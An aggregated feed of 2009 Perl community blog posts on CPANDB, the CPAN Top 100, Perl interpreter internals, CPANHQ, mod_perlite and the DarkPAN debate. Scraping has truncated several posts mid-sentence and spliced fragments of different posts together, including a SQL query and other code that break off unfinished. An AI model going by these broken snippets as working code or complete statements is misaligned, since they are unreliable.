100 website has been upgraded to CPANDB 2009-07-09T06:21:12+00:00 <p>Completing 2 weeks of fairly heavy refactoring, rewriting and debugging of various toolchain elements, I'm happy to report that I have now removed the (faulty) CPANTS dependency graph from the <a href="">CPAN Top 100</a> website and replaced it with the highly accurate <a href="">CPANDB</a> dependency graph.</p><p>This is huge relief for me, because all the highly visible bugs that were preventing the concept from progressing to full maturity.</p><p>The change to reliable data has meant a few major changes to the results.</p><p>1. The falsely inflated scores go away.</p><p>CPANTS seemed to have an issue misattributing modules to the correct distribution they came from. For example, it thinks that DBD::SQLite lives in the DBD-SQLite-Aggregation distribution.</p><p.</p><p>Yes, a text wrapping module is the most depended on thing in the CPAN! :/</p><p>2. Author attribution is now correct.</p><p>The CPANTS implementation appears not to understand the concept of changing maintainers. As a result, many CPAN modules that had changed hands were showing as being maintained by the original author.</p><p>With this corrected, you should now be able to accurately see who you need to annoy to take over a failing module.</p><p>3. DBD::mysql is no longer an OMGIBROKECPAN event.</p><p>Granted, the PASS vs FAIL counts for DBD::mysql are horrible. But the graph now does NOT consider the mysql driver to be as important as it previously did, which has dropped the FAILure score for it down to a lower one.</p><p>4. A new module appears at the top of the FAIL 100</p><p>I don't know where it was hiding (presumably as an embedded copy in someone else's distribution), but IO::Zlib has made a surprise jump to the top of the FAIL 100 table.</p><p>Please commence the poking and prodding of the author to take it over or fix it :)</p><p><b>What's next?</b></p><p>With the underlying data now correctly in place, I can start to address the extremely simple nature of the website itself. I wanted to delay any more work on creating new metrics until the current ones were no longer broken.</p><p>So hopefully I can now begin adding new Top 100 tables, and start to move the website towards something that will work better as a standalone site.<. CPANDB Tricks: Your personal version of the FAIL 100 2009-07-09T01:12:08+00:00 <p>You may have seen my <a href="">FAIL 100</a> list of modules, the 100 modules who's failure in CPAN Testers cause the most pain to other people.</p><p>Now that I have support for CPAN Testers results in the CPANDB schema, it's now easy to replicate the math I was doing on that website in one SQL script.</p><p>Here's a quickie report of all the modules that I maintain that have failures causing problems for other people (which is a pretty decent clue to the order in which I need to fix them).</p><p>Please excuse the weird indenting, I have no idea how Slashcode managed to achieve that...</p><blockquote><div><p> <tt>use CPANDB;<br /> <br />print map {<br /> sprintf("%4s %s\n", $_->[1], $_->[0])<br />} @{<br /> CPANDB->selectall_arrayref(<br /> 'select distribution, (fail + unknown) * volatility as FAILure<br /> from distribution<br /> whereTest::Harness</a> </dt><dd>Complexity mangement starts with tests</dd><dt> <a href="">Class::Sniff</a> </dt><dd>When your OO hierarchy becomes unwieldy, take a closer look at it.</dd><dt> <a href="">Class::Trait</a> </dt><dd>Traits (roles) usually provide better OO complexity management than inheritance. (I should deprecate this in favor or <tt>Moose::Role</tt>)</dd><dt> <a href="">Devel::Deprecate</a> </dt><dd>You're going to forget to remove that out-of-date feature. This module won't let you forget.</dd><dt> <a href="">Test::Most</a> and <a href="">Test::Kit</a> </dt><dd>Stop duplicating test boilerplate in your tests and just get your work done.</dd></dl><p>Seriously, folks. As you move through your programming career, start paying attention to complexity management. When something is overly complex, figure out how to automate or simplify it. You'll usually gain flexibility and comprehensibility. Complexity management is your real job.< Corporate CPAN II 2009-07-08T09:54:33+00:00 <p> More than a month ago I wrote about <a href="">The Corporate CPAN</a> and posted the question also on the CPAN.pm developer list. I got a few responses that are still waiting in my inbox to act on. I don't see that I'll have the tuits for that any time soon so I better share with you the answers as they were. </p> <p> Ricardo SIGNES also mentioned he is working on some internal system with HDP but did not point to any publicly available code. </p> <p> Andreas J. Koenig pointed me to the doc/README file of the <a href="">PAUSE source code</a> on Github. We could look around there but he does not plan to release it to CPAN. </p> <p> brian d foy pointed me to his work on MyCPAN. See <a href="">MyCPAN::App::DPAN</a> and <a href="">MyCPAN::Indexer</a>. </p> <p> I know it's not much of an analysis on my side but at least now I can file the messages in another folder... < PL_runops tag:blogger.com,1999:blog-876358347971598886.post-2319009520838986755 2009-07-08T02:57:31+00:00 <p>I.</p> <p>While I'm definitely diving right in to the deep end, I think <tt>PL_runops</tt> is a good place to start as any, there's not a lot you need to learn to see how it works. I don't think Perl has a shallow end.</p> <p><tt>PL_runops</tt> is a variable in the interpreter containing a function pointer, which in most cases will be <tt>Perl_runops_standard</tt>.</p> <p><tt>Perl_runops_standard</tt> is the function that executes opcodes in a loop. Here's how it's defined:</p> <pre class="fake-gist" id="fake-gist-139031">int Perl_runops_standard(pTHX) { dVAR; while ((PL_op = CALL_FPTR(PL_op->op_ppaddr)(aTHX))) { PERL_ASYNC_CHECK(); } TAINT_NOT; return 0; }</pre> <p>Perl makes extensive use of macros, which can sometimes be confusing, but in this instance it's not too daunting. This loop will essentially keep calling <tt>PL_op->op_ppaddr</tt>, assigning the result to <tt>PL_op</tt>. As long as a valid value is returned it will keep executing code.</p> <p>Just to get it out of the way, <tt>PERL_ASYNC_CHEK</tt> is a macro that checks to see if any signals were delivered to the process, and invokes the handlers in <tt>%SIG</tt> if necessary.</p> <p>So what's <tt>PL_op</tt>? <tt>op_ppaddr</tt> field of a single node in the tree. The <tt>op_ppaddr</tt> field contains a pointer to the function that implements the op.</p> <p><tt>PP</tt> stands for push/pop, which means that it's a function that operates in the context of the Perl stack, pushing and popping items as necessary to do its work, and returns the next opcode to execute.</p> <p><tt>pp.h</tt> defines a <tt>PP</tt> macro, which sets up a signature for a function that returns an op pointer. Let's have a look at two simple <tt>PP</tt> functions. First is <tt>pp_const</tt>:</p> <pre class="fake-gist" id="fake-gist-139032">PP(pp_const) { dVAR; dSP; XPUSHs(cSVOP_sv); RETURN; }</pre> <p>This is an implementation of the <tt>const</tt> op, which pushes the value of a literal constant to the stack. The <tt>cSVOP_sv</tt> macro is used to get the actual <tt>SV</tt> (scalar value structure) of the constant's value from the optree. <tt>SVOP</tt> is an <tt>OP</tt> structure that contains an <tt>SV</tt> value. The <tt>c</tt> stands for "current".</p> <p>Let's rewrite the body of the macro using some temporary values:</p> <pre class="fake-gist" id="fake-gist-139033">/*;</pre> <p>This SV is then pushed onto the stack using the <tt>XPUSHs</tt> macro. The <tt>X</tt> in <tt>XPUSHs</tt> means that the stack will be extended if necessary, and the <tt>s</tt> denotes <tt>SV</tt>. To read the documentation of these macros, refer to <a href="">perlapi</a>.</p> <p>The next thing that executes is the <tt>RETURN</tt> macro. This macro is defined in <tt>pp.h</tt>, along with a few others:</p> <pre class="fake-gist" id="fake-gist-139034">#define RETURN return (PUTBACK, NORMAL) #define PUTBACK PL_stack_sp = sp /* normal means no special control flow */ #define NORMAL PL_op->op_next /* we'll use this one later: */ #define RETURNOP(o) return (PUTBACK, o)</pre> <p>Recall that there are no lists in C. The comma operator in C executes its left side, then its right, and returns that value (unfortunately <a href="">we have that in Perl</a>, too). The <tt>RETURN</tt> macro therefore desugars to something like:</p> <pre class="fake-gist" id="fake-gist-139035">PL_stack_sp = sp; return(PL_op->op_next);</pre> <p>The <tt>XPUSHs</tt> macro manipulated the local copy of the pointer to the stack, <tt>sp</tt> as it was adding our SV. This change is not immediately written to the actual stack pointer, <tt> PL_stack_sp </tt>. The <tt>PUTBACK</tt> macro sets the "real" stack to the version we've manipulated in the body of our opcode.</p> <p>Then the opcode simply returns <tt>PL_op->op_next</tt>. The <tt>op_next</tt> field in the op contains a pointer to the next op that should be executed. In this case if the code being executed was:</p> <pre class="fake-gist" id="fake-gist-139036">my $x = 42;</pre> <p>then the const op compiled to handle the <tt>42</tt> literal would have pushed an <tt>SV</tt> containing the integer 42 onto the stack, and the <tt>op_next</tt> in this case is the assignment operator, which will actually use the value.</p> <p>So, to recap, when <tt>PL_op</tt> contains a pointer to this const op, <tt>PL_op->op_ppaddr</tt> will contain a pointer to <tt>pp_const</tt>. <tt>PL_runops</tt> will call that function, which in turn will push <tt>((SVOP *)PL_op)->op_sv</tt> onto the stack, update <tt>PL_stack_sp</tt>, and return <tt>PL_op->op_next</tt>.</p> <p>At this point <tt>runops_standard</tt> will assign that value to <tt>PL_op</tt>, and then invoke the <tt>op_ppaddr</tt> of the next opcode (the assignment op).</p> <p>So far so good?</p> <p>To spice things up a bit, here's the implementation of logical or (<tt>||</tt>):</p> <pre class="fake-gist" id="fake-gist-139037">PP(pp_or) { dVAR; dSP; if (SvTRUE(TOPs)) RETURN; else { if (PL_op->op_type == OP_OR) --SP; RETURNOP(cLOGOP->op_other); } }</pre> <p>The <tt>or</tt> op is of a different type than the <tt>const</tt> op. Instead of <tt>SVOP</tt> it's a <tt>LOGOP</tt>, and it doesn't have an <tt>op_sv</tt> but instead it has an <tt>op_other</tt> which contains a pointer to a different branch in the optree.</p> <p>When <tt>pp_or</tt> is executed it will look at the value at the top of the stack using the <tt>TOPs</tt> macro, and check if it evaluates to a true value using the <tt>SvTRUE</tt> macro.</p> <p>If that's the case it short circuits to <tt>op_next</tt> using the <tt>RETURN</tt> macro, but if it's false it needs to evaluate its right argument.</p> <p><tt>--SP</tt> is used to throw away the argument (so that <tt>$a || $b</tt> doesn't end up returning both <tt>$a</tt> and <tt>$b</tt>).</p> <p>Then the <tt>RETURNOP</tt> macro is used to call <tt>PUTBACK</tt>, and to return <tt>PL_op</tt>'s <tt>op_other</tt>. <tt>RETURN</tt> is essentialy the same as <tt>RETURNOP(NORMAL)</tt>. <tt>op_other</tt> contains a pointer to the op implementing the right branch of the <tt>||</tt>, whereas <tt>op_next</tt> is the op that will use the value of the <tt>||</tt> expression.</p> <p>This is one of the most basic parts of the Perl 5 virtual machine. It's a stack based machine that roughly follows the <a href="">threaded code</a> model for its intermediate code structures.</p> <p>The data types mostly revolve around the <tt>SV</tt> data structure, and moving pointers to <tt>SV</tt>s from op to op using the stack.</p> <p>For me the hardest part to learn in Perl is definitely the rich set of macros, which are almost a language in their own right.</p> <p>If you <a href="">search for runops</a> on the CPAN you will find a number of interesting modules that assign to <tt>PL_runops</tt> at compile time, overriding the way opcodes are dispatched.</p> <p>For more information on Perl internals, the best place to start is <a href="">perlguts</a>, and the wonderful <a href="">perlguts illustrated</a>.< CPANDB Tricks: Smoking the Top 100 2009-07-08T01:03:23+00:00 <p>David Golden writes:</p><blockquote><div><p>I'd like to be able to easily smoke test at least the volatile 100<br />list for the 5.10.1 RC's. Is there an easy way I can get a list in<br />the form:</p><p>DAGOLDEN/Sub-Uplevel-0.2002.tar.gz</p><p>Just a text file would be fine, or JSON or whatever. Just something<br />with AUTHOR/DISTNAME-VERSION.SUFFIX.</p></div></blockquote><p.</p><p>Finding information of the kind David needs is exactly why I created the <a href="">CPANDB</a> module. His query can be boiled down to just a single line of code.</p><blockquote><div><p> <tt>use CPANDB;<br /> <br />my @releases = map { $_->release }<br /> CPANDB::Distribution->select('order by volatility desc limit 100');<. Saudi Arabian Adventures - Days 3-5 2009-07-08T00:00:00+00:00 >Posted: 8th July 2009.</p><p>Tags: <a href="" rel="tag">adventure</a> <a href="" rel="tag">aramco</a> <a href="" rel="tag">dhaharan</a> <a href="" rel="tag">food</a> <a href="" rel="tag">perl</a> <a href="" rel="tag">saudi</a> <a href="" rel="tag">travel</a> </p> <p>Bookmark:</p><a href=""><img src="" alt="Digg this" /></a> <a href=""><img src="" alt="Digg this" /></a><img src="" height="1" width="1"/> Paul Fenwick PJF's Journal Paul Fenwick - Perl, technology, chickens 2009-07-13T20:01:25+00:00 Introducing CPANHQ tag:perlbuzz.com,2009://1.694 2009-07-07T17:22:02+00:00 <p> <i>By Shlomi Fish</i> </p> <p> Most people who are actively developing using Perl are familiar with sites for searching CPAN (the Comprehensive Perl Archive Network) such as <a href="">search.cpan.org</a> and <a href="">kobesearch.cpan.org</a>. These sites provide a simple search bar where users can search for keywords or key phrases, and find a list of results. These sites also feature pages for the various CPAN distributions, the various authors, and the individual pages of documentation inside the modules. </p> <p> Recently, Andy Lester started the <a href="">"Rethinking CPAN" mailing list</a> and wrote <a href="">a Perlbuzz post titled "Rethinking the interface to CPAN"</a>, <a href="">CPANHQ</a>. </p> <p> So what is CPANHQ? As documented in <a href="">the first and only wiki page it has so far</a> (which I wrote a few days ago), "CPANHQ aims to be a community-driven, meta-data-enhanced alternative to such sites as <a href=""></a> and <a href=""></a>. Currently, the functionality is very basic, but we have great ambitions." </p> <p> I learned about CPANHQ by overhearing a conversation on Freenode's #perl channel. I joined the effort, and made several enhancements to the <a href="">Catalyst</a> and <a href="">DBIx-Class</a>-based code. The functionality is still very basic. </p> <p> Some of the plans and ideas we have for CPANHQ, which may be translated into code in the future are: </p> <ol> <li> <p> The code is and will remain open-source, which makes it easy for people to contribute to. </p> </li> <li> <p> We plan to have most of the current features of search.cpan.org and kobesearch.cpan.org including pages for authors, distributions, and individual modules and their documentation. </p> </li> <li> <p> CPANHQ was already enhanced with some <a href="">jQuery</a> and <a href="">jQuery UI</a> JavaScript goodness, and we plan to add more of it to make the user experience better. </p> </li> <li> <p>. </p> </li> <li> <p> We plan to enhance the site based on meta-data as provided by both the module authors (in the <tt>META.yml</tt> file and the users of the site. </p> <p> For example, we have already added support for the <a href="">META.yml's keywords</a> which allow authors to tag modules, and we plan to support user-tags too. </p> </li> <li> <p> CPANHQ will be very community-driven. People would be able to open user accounts there, which will allow them to contribute content to the site, such as tags/labels, comments, wiki pages, chatter, etc. </p> </li> </ol> <p> The <a href="">CPANHQ wiki page</a> contains more ideas and insights. Like I said, the current functionality is incredibly basic, but we hope that with enough help, time and dedication, we can create an attractive and engaging interface to CPAN, to make finding a module on CPAN faster, easier and more fun. </p> <p> In the meantime, you can look at the <a href="">screenshots</a> we have of the interface so far, or clone the <a href="">github repositories</a>, and set up a local web-interface. </p> <p> <i> <a href="">Shlomi Fish</a> has been writing using Perl, about Perl and for Perl, since 1996, when he started working for a web-design shop, and discovered Perl and UNIX, which he's been in love with ever since. He initiated and is maintaining <a href="">many CPAN modules</a> and contributed to many other Perl and non-Perl related projects. </i> < mod_perlite helps Perl gain ground in the PHP arena tag:perlbuzz.com,2009://1.695 2009-07-07T13:57:04+00:00 <p><em>Mic.</em></p> <p><a href="">mod_perlite</a> is an interesting Apache module currently under development. I'd say it's the equivalent of what mod_php is for PHP: a fast, easy to use, and relatively safe way to use Perl scripts for the development of small and medium web applications.</p> <p <a href="">mod_perl</a> and <a href="">mod_fastcgi</a>.</p> <p <em>without modification</em> taking full advantage of mod_perlite and therefore reducing execution time to a fraction.</p> <p.</p> <p>To make mod_perlite fully usable, the project web site has a three point TODO list:</p> <ul> <li>Fix form POST processing ('read' does not work reliably)</li> <li>Limit Perl running time.</li> <li>Find ways to cache code.</li> </ul> <p>The project is looking for help, so if you are interested and know something about mod_perl, writing Apache modules in C, and about overriding system calls in Perl - and if the project seems interesting to you - please shout!</p> <p>And... if someone argues "we're 10 years late compared to PHP", I'd reply "better late than never". ;-)</p> <p><em>Michele Beltrame lives in North-Eastern Italy, where he has been developing web applications in Perl since 1996. He is an active member of the Italian Perl community and of the <a href="">Italian Perl Workshop</a> organizational committee. In his free time he publishes guidebooks on the mountains surrounding his area.< Perl 6 Roles Question 2009-07-07T10:31:45+00:00 <p>Imagine a <tt>PracticalJoke</tt> class. It needs a non-lethal <tt>explode()</tt> from a <tt>Spouse</tt> role and a timed <tt>fuse()</tt> from a <tt>Bomb</tt> role. Unfortunately, each role provides the both methods. With Moose, this is trivial to resolve:</p><blockquote><div><p> <tt>package PracticalJoke;<br />use Moose;<br />with 'Bomb' => { excludes => 'explode' };<br /> 'Spouse' => { excludes => 'fuse' };</tt></p></div> </blockquote><p>How the heck do I do that with Perl 6? No matter how many times I read <a href="">Synopsis 14</a>, I can't figure out how that would work.</p><blockquote><div><p> <tt>role Bomb {<br /> method fuse () { say '3 .. 2 .. 1 ..' }<br /> method explode () { say 'Rock falls. Everybody dies!' }<br />}<br /> <br />role Spouse {<br /> method fuse () { sleep rand(20); say "Now!" }<br /> method explode () { say 'You worthless piece of junk! Why I should ...' }<br />}<br /> <br />class PracticalJoke does Bomb does Spouse {<br /> ???<br />}</tt></p></div> </blockquote><p>What have I. Italian Perl Workshop 2009 guests 2009-07-07T09:15:00+00:00 The preparations for this year's Italian Perl workshop are hotting up, and thanks to the sponsors, we have invited some great guest speakers for the international tracks (in English): Tim Bunce, Perl DBI interface author.. Jonathan Worthington, one of the core developers of the Rakudo Perl 6 compiler and the Parrot Virtual Machine. Thomas Fuchs,.<p><a href="">Read more of this story</a> at use Perl.</p><img src="" height="1" width="1"/> use.perl use Perl All the Perl that's Practical to Extract and Report 2009-07-07T18:21:41+00:00 use Perl; is Copyright 1998-2006, Chris Nandor. Stories, comments, journals, and other submissions posted on use Perl; are Copyright their respective owners. Iron Man ideas backlog 2009-07-07T08:55:49+00:00 <p>There are so many topics I want to write about and so little time to write. Since I’m on vacation and supposedly relaxing and enjoying myself, I’m just going to list out some things that I might write about soon. If any are particularly appealing, let me know and I’ll bump it towards the top of the todo stack.</p> <ul> <li>Capture::Tiny, the last capturing module you’ll ever need</li> <li>Version numbering lessons and pitfalls</li> <li>Re-imagining PAUSE/CPAN</li> <li>Perl’s punctuated equilibrium</li> <li>Disagreeing agreeably</li> <li>p5p: Wizards, leaders, managers and coaches</li> <li>How to regression test CPAN modules</li> <li>Changing Perl 5 development: to what end?</li> </ul> <p>I can see the appeal of microblogging — perhaps I’ll try to compose a 140 character summary of each one and see which are actually worth expanding on to any length.</p><img src="" height="1" width="1"/> David Golden dagolden Whatever comes to mind 2009-07-11T15:21:11+00:00 Open source ‘full text’ bookmarklet and feed filter 2009-07-06T17:01:26+00:00 <p><a href="">Last year, I blogged about</a> <a href="">Full-Text RSS</a>, a utility to convert those useless “partial-text” RSS/Atom feeds into the real, full-story-inline deal.</p> <p>The only downside is that the author felt it necessary to withhold the source, saying:</p> <blockquote> <p>Still, I wouldn’t want to offer a feature that middlemen can resell at the expense of bloggers. So while I do want to open this up, I don’t want to make things easy for the unscrupulous.</p> </blockquote> <p>However, recently <a href="">Keyvan Minoukadeh from the Five Filters project</a> got in touch to say:</p> <blockquote> <p>I recently created a similar service (along with a bookmarklet for it). [...] It’s a free software (open source) project so code is also available.</p> </blockquote> <p>Here it is:</p> <p><b><a href="">fivefilters.org: Create Full-Text Feeds</a></b></p> <p>I’ve tried it out and it works great, and the <a href="">source</a> is indeed downloadable under the AGPL.</p> <p><a href="">Five Filters</a> — its overarching project — looks interesting, too:</p> <blockquote> <p.</p> <p.</p> </blockquote><img src="" height="1" width="1"/> Justin Mason taint.org: Justin Mason's Weblog incoherent ramblings about Apache SpamAssassin, anti-spam, perl, software development, and the web 2009-07-13T20:01:48+00:00 Holy crap, I suck at coding tag:blogger.com,1999:blog-876358347971598886.post-152454415174265057 2009-07-06T16:00:18+00:00 <p>Every so often I look back at old code and think to myself WTF was I on when I was writing it. Just take a look at <a href="">my Perl module releases in chronological order</a><sup><a id="2EAE7929-3EE5-48F3-AAF0-F5A4C16D8C19" href="">[1]</a></sup>. .</p> <p.</p> <p>This process used to make me feel bad, but now it makes me feel good. I used to be concerned with how fast I learned things, eager to understand ideas that would propel me towards finding the ultimate paradigm [singular. ugh!] of the future.</p> <p>When your goals are as laughable as that failure makes you feel bad.</p> <p.</p> <p>Leisure has replaced ambition as the primary purpose of my learning efforts.</p> <p>However, without ambition to drive me forward, I occasionally feel like I'm not trying hard enough to better myself. Seeing past failures (especially recent ones) is an great way of reassuring myself that my brain has not in fact crawled under a cupboard and died.</p> <p <em>unlearning</em>.</p> <p>So now that I am old and wise, I know that when I grow up I want to still be having fun, or at least to realize why this blog post is full of shit.</p> <p> <a id="EBA1FE52-C76C-4BEA-B662-2A70EFFCD497" href="">[1]</a> Unfortunately the backpan directory listing doesn't seem to have the dates right, so the linked listing doesn't contain mistakes that have been superseded with new module uploads, only ones big enough to completely give up on, or that have been fixed by other people ;-)</p><div class="blogger-post-footer"><img width="1" height="1" src="" /></div><img src="" height="1" width="1" /></p><img src="" height="1" width="1"/> nothingmuch nothingmuch@woobling.org nothingmuch's perl blog tag:blogger.com,1999:blog-876358347971598886 2009-07-10T01:01:39+00:00 Resigning tag:blogger.com,1999:blog-6096704822492180681.post-2243460989952462955 2009-07-06T15:33:05+00:00 So Reputations 2009-07-06T14:29:50+00:00 <p>As many of you know, Rafael has stepped down as the P5P pumpking. He's done a great job and I'm sad to see him go, but he couldn't take the mud-flinging any more. I can't say I blame him.</p><p>Regarding mud-flinging -- and not just in regards to this particular debacle -- I won't name names (many will guess and many guesses will be wrong), but I have some observations about reputation:</p><ul> <li>I've been quietly told by several that they're disgusted with one particular individual who should know better than to be rude.</li><li>I know of at least one individual who has, unbeknownst to him, not been offered a rather nice consulting gig because of his online behavior.</li><li>There is one person I once objected to hiring because of comments he made on a mailing list (the owner saw those comments and rejected the applicant).</li></ul><p>I suppose if people aren't concerned about work, they may not be concerned with how they come across online. On the other hand, wouldn't it at least be good to be known as someone who can find ways of getting things done <em>nicely</em>? I struggle with this myself at times and I hate seeing it in others.<. Perlbuzz is no longer useful tag:blogger.com,1999:blog-6096704822492180681.post-274820055123868302 2009-07-06T08:49:44+00:00 I CPANDB should now be synchronised and up to date 2009-07-06T06:32:16+00:00 <p><b>Update:</b></p><p><i>The CPANDB now also contains the data for CPAN Ratings</i></p><p>In my previous announcements for <a href="">CPANDB</a>, I mentioned that while it was generating the database the correct way, the data was going to be a bit out of sync because data was coming from different places.</p><p>This should now be resolved.</p><p>The server syncs a minicpan to <a href=""></a>, then a META.yml database is updated from the minicpan, a <a href="">CPAN::SQLite</a> index is built from the same minicpan, and then both of them are joined together with the <a href="">ORDB::CPANUploads</a> database to product the completed tables.</p><p>The final step is the application of the graph algorithms to produce the weight and volatility scores for each distribution, which are now being added to the database as well.</p><p>Now that cpandb is ready for the big time, I'll start to try and merge in the three main outstanding data sets (CPAN Ratings, rt.cpan.org and CPAN Testers) and then rewrite the CPAN Top 100 to turn it into a fully operational death star... I mean website.</p><p>You can use the <a href="">CPANDB</a> module to fetch and ORM-inflate the database, or to download the database directly, use the following URL.</p><p><a href=""></a></p><p>The current schema for the database now has the slightly expanded distribution table.</p><blockquote><div><p> <tt>CREATE TABLE distribution (<br /> distribution TEXT NOT NULL PRIMARY KEY,<br /> version TEXT NULL,<br /> author TEXT NOT NULL,<br /> release TEXT NOT NULL,<br /> uploaded TEXT NOT NULL,<br /> weight INTEGER NOT NULL,<br /> volatility INTEGER NOT NULL,<br /> FOREIGN KEY ( author ) REFERENCES author ( author )<br />)<. Perlbuzz news roundup 2009-07-05 tag:perlbuzz.com,2009://1.693 2009-07-06T02:01:43+00:00 <p> These links are collected from the <a href="">Perlbuzz Twitter feed</a>. If you have suggestions for news bits, please mail me at <a href="mailto:andy@perlbuzz.com">andy@perlbuzz.com</a>. </p> <ul> <li>OSCON for Postgres geeks (<a href="">it.toolbox.com</a>)</li> <li>SpamAssassin looking to drop Perl 5.6 support (<a href="">taint.org</a>)</li> <li>chromatic on the value of the pumpking (<a href="">modernperlbooks.com</a>)</li> <li>Search your Perl documentation with perldoc-search and/or Perldoc::Search (<a href="">use.perl.org</a>)</li> <li>RT @chromatic_x Is getting code into the !perl core a fight against inertia and petty hostility? (<a href="">ur1.ca</a>)</li> <li>Saving state with prove (<a href="">blog.woobling.org</a>)</li> <li>RT @chromatic_x Why we're still working on Perl 6 after all these years (<a href="">bit.ly</a>)</li> <li>Chris Prather's YAPC::NA slides available (<a href="">chris.prather.org</a>)</li> <li>RT @chromatic_x Why perl5i matters: (<a href="">bit.ly</a>)</li> <li>Gabor Szabo on what he'd like to see in Smolder (<a href="">szabgab.com</a>)</li> <li>"Warming up to modular testing" slides from YAPC::NA available (<a href="">use.perl.org</a>)</li> <li>"Perl does not belong to DarkPAN. It belongs to us who participate in its wellbeing." (<a href="">perl-yarg.blogspot.com</a>)</li> <li>Fitting Wikipedia on an iPhone (<a href="">radar.oreilly.com</a>)</li> <li>What is Catalyst, really? (<a href="">blog.urth.org</a>)</li> <li>Hard numbers on test-driven development (<a href="">use.perl.org</a>)</li> <li>PHP does not make programming simpler. It just pretends that programming is simpler than it is. (<a href="">use.perl.org</a>)</li> <li>A WebGUI editing plugin for Padre (<a href="">blog.patspam.com</a>)</li> <li>Recap of the Portland.PM code sprint get-together (<a href="">baconandtech.com</a>)</li> <li>More notes from the Portland PM code sprint (<a href="">justatheory.com</a>)</li> <li>Perl Corehackers wiki now online (<a href="">corehackers.perl.org</a>)</li> <li>Josh Ben Jore's first Perl 6 program ( Links for 2009-07-05 2009-07-05T22:05:03+00:00 <ul><li><p> <a class="deliciouslink" href="" title="Inside Postini's anti-spam systems" target="_blank">Inside Postini’s anti-spam systems</a> : lots of detail<br /> (tags: <a class="delicioustag" href="">spam</a> <a class="delicioustag" href="">google</a> <a class="delicioustag" href="">postini</a> <a class="delicioustag" href="">anti-spam</a>)</p></li> <li><p> <a class="deliciouslink" href="" title="Get Your API Right" target="_blank">Get Your API Right</a> : 8 key gotchas when implementing RESTful web APIs. great advice<br /> (tags: <a class="delicioustag" href="">apis</a> <a class="delicioustag" href="">http</a> <a class="delicioustag" href="">web</a> <a class="delicioustag" href="">rest</a> <a class="delicioustag" href="">patterns</a> <a class="delicioustag" href="">architecture</a> <a class="delicioustag" href="">webdev</a> <a class="delicioustag" href="">web-services</a>)</p></li> </ul><img src="" height="1" width="1"/> Justin Mason taint.org: Justin Mason's Weblog incoherent ramblings about Apache SpamAssassin, anti-spam, perl, software development, and the web 2009-07-13T20:01:48+00:00 Let me be clear, again, about the nature of the DarkPAN. 2009-07-05T18:07:10+00:00 <p>The growth in the argument that the DarkPAN is somehow some form of boogieman, some wispy vaporous nothing that is unobservable and thus something able to be ignored astonishes me. And I'm not singling out one person here, I'm hearing it from a number of different people.</p><p>It's especially unnerving because a big chunk of it is sitting in plain view.</p><p>So let me repeat this again.</p><p>Until perhaps very recently, the DarkPAN was generally considered to be more or less all the Perl code that wasn't on the CPAN. Because if it wasn't on the CPAN, it was largly impossible to find. And even if you could find it, you couldn't do anything with it.</p><p>With the advent of PPI and Ohloh, the situation has now changed.</p><p>Now we know, for example, that just the small part of the DarkPAN that is visible is at least 4 times bigger than the CPAN. Because 4 times more code than CPAN is basically what Ohloh managed to uncover. Last time I looked, it was reporting about 97,000,000 lines of code, and we know that the CPAN is in the general range of 20-25,000,000 lines of code.</p><p>I've called this semi-visible part of the DarkPAN the GreyPAN, but that's just a way of categorising it. It's still a part of the DarkPAN. It's still code we can't feed into CPAN Testers or other automated systems to examine how a Perl change will impact it.</p><p>We also know that it's mostly not large codebases. Anecdotal reports from the Ohloh people themselves suggest it's made up of lots of different bits and pieces. So in fact, it serves as quite a useful analog for the consistency of the DarkPAN itself.</p><p>It's something we can suck in, process, and then run what-if scenarios for. At least at a document-level anyway.</p><p>Frankly, I'm sick and tired of this back and forth crap.</p><p>I'd like to see both sides of this argument shut up (me included) until we've actually built the thing that can suck in the visible parts of the DarkPAN and process it.</p><p>If you'd like to help, I've got most of the "Process it" part working now, but I'd dearly love some help on the "sucking it in" part.</p><p>If, after we've finished, we're able to establish that (for example) across all C code there is on average 1 line of utility Perl code for every 100 lines of C code then we've got something to work with.</p><p>Because we can take estimations about the total amount of C code in the world and extrapolate from that to make a guess at the total amount of Perl code in the. Bootstrapping KiokuDB::Cmd tag:blogger.com,1999:blog-876358347971598886.post-3274969927518921734 2009-07-05T18:12:54+00:00 <p>I just closed a <a href="">ticket</a> in <a href="">KiokuDB</a>'s RT queue that asked for simpler dependencies. The fix was splitting the <tt>KiokuDB::Cmd</tt> modules into their own distribution, making the core more easily installable on Windows.</p> <p>The problem is that I depended on <a href=""><tt>Proc::InvokeEditor</tt></a> for the <tt>kioku edit</tt> command. Unfortunately that module does not install cleanly on Windows, preventing KiokuDB itself from installing, even though it's not required for normal use.</p> <p>The problem is that KiokuDB's command line tool requires <tt>KiokuDB::Cmd</tt> to run. What I ended up doing is having the <a href=""><tt>kioku</tt></a> script (which still ships with KiokuDB) allow bootstraping <tt>KiokuDB::Cmd</tt> by using <a href=""><tt>Module::AutoInstall</tt></a> (if it's available and the user grants permission to do so).</p> <p>If <tt>kioku</tt> can't <tt>require KiokuDB::Cmd</tt> cleanly, then it calls <tt>try_auto_install</tt> function:</p> <pre class="fake-gist" id="fake-gist-140983"; }</pre> <p>If installation seems to have succeeded then we delete <tt>$INC{"KiokuDB/Cmd.pm"}</tt> and try to load it again.</p> <p>Otherwise the script exits with an error asking the user to install <tt>KiokuDB::Cmd</tt> manually.</p> <p>I think this is a fair tradeoff, especially if you don't need the command line tools in production deployments (you can still make backups by programmatically scanning the database yourself).< Time-based releases in open source tag:blogger.com,1999:blog-6096704822492180681.post-7960085651314915715 2009-07-05T11:01:25+00:00 Whenever Why "Shut Up and Write Code!" is Unhelpful and Wrong 2009-07-04T21:42:39+00:00 <p>The Perl community needs to discuss the DarkPAN and the present and future of the language and its ecosystem in much more productive ways than accusations, hyperbole, and strawmen. This includes the people who want to destroy the DarkPAN as well as the people who believe that its stability must be preserved.</p><p>I write provocatively and deliberately. I'm writing a manifesto, after all. Yet I believe I never devolve to name-calling, strawmen arguments, nor misquoting people. (If I do, please tell me and I'll correct it.)</p><p>My motives are simple: I want regular releases of Perl 5. I want the <em>default</em> behavior of Perl 5.12 to encourage modern Perl programming practices. I want missing features added to the language, even in small steps at first if necessary. <em>I want Perl 5 to be a better language for creating interesting new programs than for maintaining clunky old programs.</em> </p><p>Here are some selected quotes from <a href="">Rafaël Garcia-Suarez</a>'s <a href="">The DarkPAN matters</a>:</p><blockquote><div><p> <em>DarkPAN is just a slang word to express the fact that Perl 5 is now currently used all over the world in production and sometimes critical systems... asking this question, even rhetorically, makes you sound as if you didn't knew that Perl is actually used in production.</em></p></div> </blockquote><p>When I use the word "DarkPAN", I mean precisely this: code which p5p cannot see, cannot search, does not know the features of, and which may or may not exist. See also "We can't change this misfeature in the core, because it may break the DarkPAN!" -- funny how that sentence always ends 